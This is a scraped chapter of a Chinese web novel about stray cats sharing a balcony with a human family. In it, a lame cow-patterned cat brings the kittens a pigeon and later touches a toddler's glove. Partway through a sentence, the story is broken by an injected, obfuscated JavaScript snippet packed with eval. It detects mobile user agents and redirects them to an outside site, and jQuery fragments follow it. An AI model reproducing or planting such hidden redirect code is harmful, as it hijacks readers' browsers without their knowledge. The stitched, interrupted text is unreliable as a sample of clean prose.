默认冷灰
24号文字
方正启体

35. 米鲁克的爱心斑

作者:静水祥云本书字数:K更新时间:
    天气彻底转凉,枝头的叶子所剩无几。Garden进入了一个表面相对平静的时期。疤脸在缓慢康复,与室内居民维持着脆弱的冷战式和平。社区TNR计划稳步推进,东区猫群活动规律有所改变,争斗减少。韩慧和林朗的“试点”获得了部分邻居的认可,甚至有一位起初反感的老太太,在看到绝育后猫咪变得温顺、不再半夜嚎叫扰民后,态度开始软化。


    然而,对墨点一家而言,平静之下压力不减。食物,始终是悬在头顶的利剑。幼崽们食量猛增,光靠墨点和雪绒的狩猎,越来越吃力。韩慧提供的“额外”鸡肉丝时有时无,并非稳定来源。雪绒决定,必须让幼崽们尽快学习基础狩猎技巧,哪怕是在阳台这个受限的环境里。


    于是,在绝对安全的深夜或人类外出时段,雪绒会带着幼崽们在阳台相对开阔处进行“模拟训练”。她用枯叶、小石子、甚至自己移动的影子作为“猎物”,教导小黑、小玳、斑斑如何潜伏、突进、扑咬。墨点则负责警戒。


    小黑学得最快,扑击动作迅猛精准,眼神专注,颇有暗夜遗风。小玳则显得心不在焉,它对“狩猎”本身兴趣不大,反而对月光透过栏杆投下的光影图案、风中飘落的奇特羽毛更感兴趣,常常在训练中途被别的东西吸引走注意力。斑斑最努力,但天赋似乎平平,动作憨拙,常扑空,但它毫不气馁,摔倒了立刻爬起来再试,那份执着让人动容。


    雪绒因材施教,并不强求一致。她似乎看出三个孩子未来可能走上不同的道路。


    就在某个这样的“训练夜”之后,一个意想不到的访客,带来了转机。


    那是一个寒意料峭的清晨,霜花凝结在阳台栏杆和植物叶片上。墨点结束晨间侦察回来,正准备休息,忽然听到一阵极其轻微、却富有节奏的“嗒……嗒……嗒……”声,伴随着拖沓的脚步声,由远及近。


    是米鲁克!


    那只断掌的奶牛猫,踏着清晨的寒霜,跛着它标志性的步伐,出现在了阳台外墙的管道上。它黄绿色的眼睛在晨光中如同冷冽的宝石,扫过阳台,精准地落在了隐藏的木箱区域。它嘴里,叼着一只还在微微抽搐的、肥大的灰鸽子!


    科瓦不知从哪里冒出来,落在晾衣架上,呱呱叫道:“喂!瘸腿的!那是我表亲家邻居的二大爷的外甥女!快放下!”


    米鲁克根本不理睬乌鸦的聒噪,它轻巧地(尽管拖着一条腿)跳下管道,落在阳台地面,将鸽子放在木箱前方一块干净的空地上,然后后退两步,坐下,舔了舔自己残缺的前掌,抬眼看向木箱缝隙——那里,雪绒和墨点正警惕地注视着它。


    “新鲜的。刚断气。”米鲁克的声音平淡无波,像在陈述天气,“给小的们。这个季节,鸽子肥。”


    雪绒沉默了几秒,用意念回应:“为什么?”


    米鲁克歪了歪头,仿佛觉得这个问题很多余。“路过。看到你们家的小崽子在扑影子。影子填不饱肚子。”它顿了顿,补充道,“而且,东边最近不太平,两脚兽到处放铁笼子(指TNR诱捕笼),好猎场少了。你们这拖家带口,不容易。”


    这理由直接得近乎粗暴,却让人无法反驳。墨点看着地上那只羽毛光鲜、体型可观的鸽子,这对于他们一家而言,是一顿丰盛的大餐,能极大缓解当前的压力。


    “我们不需要施舍。”雪绒的声音依旧平静,但少了几分冷硬。


    “不是施舍。”米鲁克站起身,准备离开,“是交换。”


    “交换什么?”


    米鲁克回头,黄绿色的眼睛深深看了雪绒和墨点一眼。“信息。还有……以后我要是被两脚兽的笼子困住了,说不定需要只聪明的乌鸦,或者熟悉地形的猫,帮我‘不小心’弄开个扣子。”它说着,瞥了一眼晾衣架上的科瓦。


    科瓦立刻炸毛:“呱!谁要帮你这个瘸腿怪客!……不过,要是报酬是闪亮亮的东西……”


    米鲁克不再多说,拖着步子,熟练地沿着来路离开,很快消失在晨雾和建筑阴影中。


    雪绒等它彻底离开,才示意墨点将鸽子拖回木箱附近安全角落。这确实是及时雨。全家饱餐一顿,幼崽们吃得肚子滚圆,满足地睡去。


    “它观察我们很久了。”雪绒一边清理爪子,一边说,“也知道我们的困境。米鲁克……它不属于任何群体,但它有一套自己的生存法则和‘账本’。它今天预付的,是未来可能需要的‘帮助’。这是一种更灵活、更基于个体判断的联盟。”


    墨点想起米鲁克关于“选择性信任”的教导。今天的举动,或许是米鲁克在实践它的哲学——投资于它认为有价值、有信誉的“邻居”,为不可知的未来铺垫道路。


    这件事发生几天后,另一个与米鲁克相关的、更温馨的插曲上演了。


    那是一个阳光明媚的周末下午,林涵(星星)被韩慧包裹得严严实实,带到阳台来“晒太阳”。星星已经能摇摇晃晃地走几步,对世界充满好奇。她很快被阳台边缘几盆在寒风中依然顽强开放的小菊花吸引,蹒跚着走过去,伸出带着厚手套的小手,想去触摸花瓣。


    就在这时,米鲁克不知何时又出现在了外墙管道上,正居高临下、饶有兴致地看着这个人类幼崽笨拙可爱的举动。也许是被星星专注的神情吸引,也许是阳光太舒服,米鲁克竟然从管道上跳了下来,落在阳台栏杆上,距离星星只有不到两米。


    韩慧立刻紧张起来,想上前保护女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218527|197467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿,但又怕惊动这只看起来平静的流浪猫反而引发危险。她僵在原地,低声唤星星回来。


    星星却抬起头,看到了米鲁克。她没有被吓到,反而睁大了圆溜溜的眼睛,小嘴微张,发出“啊”的一声。她看到了米鲁克脸上那撮标志性的、心形的黑色斑点(爱心斑),在白色脸颊上格外醒目。


    米鲁克也看着她,黄绿色的眼睛眯了眯,尾巴尖轻轻晃动。


    星星忽然笑了起来,露出几颗小小的乳牙,她不再去够花,而是朝着米鲁克的方向,伸出那只带着厚厚手套的小手,不是抓挠,更像是一种天真无邪的、邀请般的姿态。阳光洒在她粉嫩的脸颊和米鲁克黑白的毛发上。


    那一刻,时间仿佛凝固。凶名在外的流浪猫“怪客”,与不谙世事的人类幼崽,在冬日的阳光里,进行了一次无声的“对视”。


    米鲁克看了星星几秒钟,然后,极其缓慢地、几乎难以察觉地,它低下头,用自己的鼻子,非常轻、非常快地,碰了一下星星手套的指尖。然后,它立刻直起身,仿佛什么都没发生,转身,灵活地(尽管跛足)跳回管道,几个起落,消失在视野中。


    星星愣愣地看着它消失的方向,然后收回手,看了看自己的手套,又抬头看向妈妈,咯咯地笑了起来,仿佛分享了一个只有她知道的有趣秘密。


    韩慧这才松了口气,快步上前抱住女儿,心有余悸又充满惊奇。她看向米鲁克消失的方向,眼神复杂。


    阳台木箱里,目睹了一切的墨点心中震动。米鲁克,这个最强调距离、自主和“不欠不还”复杂计算的独行侠,竟然以这样一种近乎温柔的方式,接触了人类的孩子。那不是狩猎,不是威胁,甚至不是好奇的试探,更像是一种……馈赠?对一个纯净生命的、刹那的认可?


    “围墙的又一次降低。”雪绒在他身边轻声说,这次,连她冰冷的声音里也带上了一丝不易察觉的暖意,“不是通过规划,不是通过救助,而是通过一个生命对另一个生命最本真的、不设防的瞬间。星星的眼里没有‘流浪猫’,米鲁克的眼里,那一刻或许也没有‘两脚兽幼崽’。有的,只是两个相遇的生命。”


    爱心斑的触碰,只有一瞬。但其象征的意义,却可能比许多轰轰烈烈的事件更深远。它证明了Garden的“围墙”之低,低到连米鲁克这样的自由灵魂,也会偶尔驻足,留下一个轻柔到几乎不存在的爪印。


    而这道爪印,连同那只肥美的鸽子,一起刻入了Garden的记忆,也刻入了墨点对“共存”不断深化的理解之中。帮助可以来自最古怪的邻居,善意可以以最出人意料的形式闪现。这个微缩生态圈,正在变得越来越立体,越来越充满出人意料的可能。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)